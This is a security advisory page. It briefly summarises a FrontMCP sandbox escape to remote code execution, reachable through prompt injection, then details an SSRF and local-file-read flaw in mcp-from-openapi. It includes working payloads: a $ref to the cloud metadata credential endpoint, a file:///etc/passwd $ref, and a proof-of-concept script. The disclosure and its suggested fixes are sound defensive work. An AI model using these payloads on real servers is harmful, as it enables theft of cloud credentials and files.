See how frontmcp compares to other vendors in security performance
FrontMCP is a TypeScript-first framework for the Model Context Protocol (MCP). Prior to 1.5.7, the sandboxed codecall:execute tool exposes live host Zod schema instances to the script via getTool(), and because Zod v4 defines zod as a non-configurable, non-writable own property, the ECMAScript Proxy invariants force the security membrane to hand back the raw host object, letting a script reach zod.constr.constructor (the host Function constructor) and execute arbitrary code in the server process. A single tools/call is sufficient to escape the sandbox and achieve remote code execution as the server user, exposing everything the process holds such as OAuth client secrets, JWTSECRET, session keys, database credentials, and cloud instance metadata. Because the framework's DEFAULTAUTHOPTIONS is public mode, an unconfigured server serves this to unauthenticated callers, and on authenticated servers an indirect prompt injection in tool output or fetched content can trigger it without a human attackerThis issue is fixed in version 1.5.7.
Summary
The mcp-from-openapi library uses @apidevtools/json-schema-ref-parser to dereference $ref pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing $ref values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the initialize() call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.
Affected Versions
<= 2.1.2 (latest)
CWE
CWE-918: Server-Side Request Forgery (SSRF)
Vulnerability Details
File: index.js lines 870-875
When OpenAPIToolGenerator.initialize() is called, it dereferences the OpenAPI document using json-schema-ref-parser:
javascript this.dereferencedDocument = await importjsonschemarefparser.default.dereference( JSON.parse(JSON.stringify(this.document)) );
No options are passed to .dereference() — no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in $ref values, including:
- http:// and https:// URLs (internal services, cloud metadata) - file:// URLs (local filesystem)
This is the default behavior of json-schema-ref-parser — it resolves all $ref pointers by fetching the referenced resource.
Exploitation
Attack 1: SSRF to internal services / cloud metadata
A malicious OpenAPI spec containing:
json { "openapi": "3.0.0", "info": { "title": "Evil API", "version": "1.0" }, "paths": { "/test": { "get": { "operationId": "getTest", "summary": "test", "responses": { "200": { "description": "OK", "content": { "application/json": { "schema": { "$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } } } } } } } }
When processed by OpenAPIToolGenerator, the library fetches http://169.254.169.254/latest/meta-data/iam/security-credentials/ from the server, potentially leaking AWS IAM credentials.
Attack 2: Local file read
json { "$ref": "file:///etc/passwd" }
The ref parser reads local files and includes their contents in the dereferenced output.
Proof of Concept
javascript const http = require('http'); const { OpenAPIToolGenerator } = require('mcp-from-openapi');
// Start attacker server to prove SSRF const srv = http.createServer((req, res) => { console.log(SSRF HIT: ${req.method} ${req.url}); res.writeHead(200, {'Content-Type': 'application/json'}); res.end('{"type":"string"}'); });
srv.listen(9997, async () => { const spec = { openapi: '3.0.0', info: { title: 'Evil', version: '1.0' }, paths: { '/test': { get: { operationId: 'getTest', summary: 'test', responses: { '200': { description: 'OK', content: { 'application/json': { schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' } } } } } } } } };
const gen = new OpenAPIToolGenerator(spec, { validate: false }); await gen.initialize(); // Output: "SSRF HIT: GET /ssrf-proof" // The library fetched our attacker URL during $ref dereferencing.
srv.close(); });
Tested and confirmed on mcp-from-openapi v2.1.2. The attacker server receives the GET request during initialize().
Impact
- Cloud credential theft — $ref pointing to http://169.254.169.254/ steals AWS/GCP/Azure metadata - Internal network scanning — $ref values can probe internal services and ports - Local file read — file:// protocol reads arbitrary files from the server filesystem - No privileges required — attacker only needs to provide a crafted OpenAPI spec to any application using this library
Suggested Fix
Pass resolver options to dereference() that restrict which protocols and hosts are allowed:
javascript this.dereferencedDocument = await $RefParser.dereference( JSON.parse(JSON.stringify(this.document)), { resolve: { file: false, // Disable file:// protocol http: { // Only allow same-origin or explicitly allowed hosts headers: this.options.headers, timeout: this.options.timeout, } } } );
Or disable all external resolution and require all schemas to be inline:
javascript this.dereferencedDocument = await $RefParser.dereference( JSON.parse(JSON.stringify(this.document)), { resolve: { file: false, http: false, https: false } } );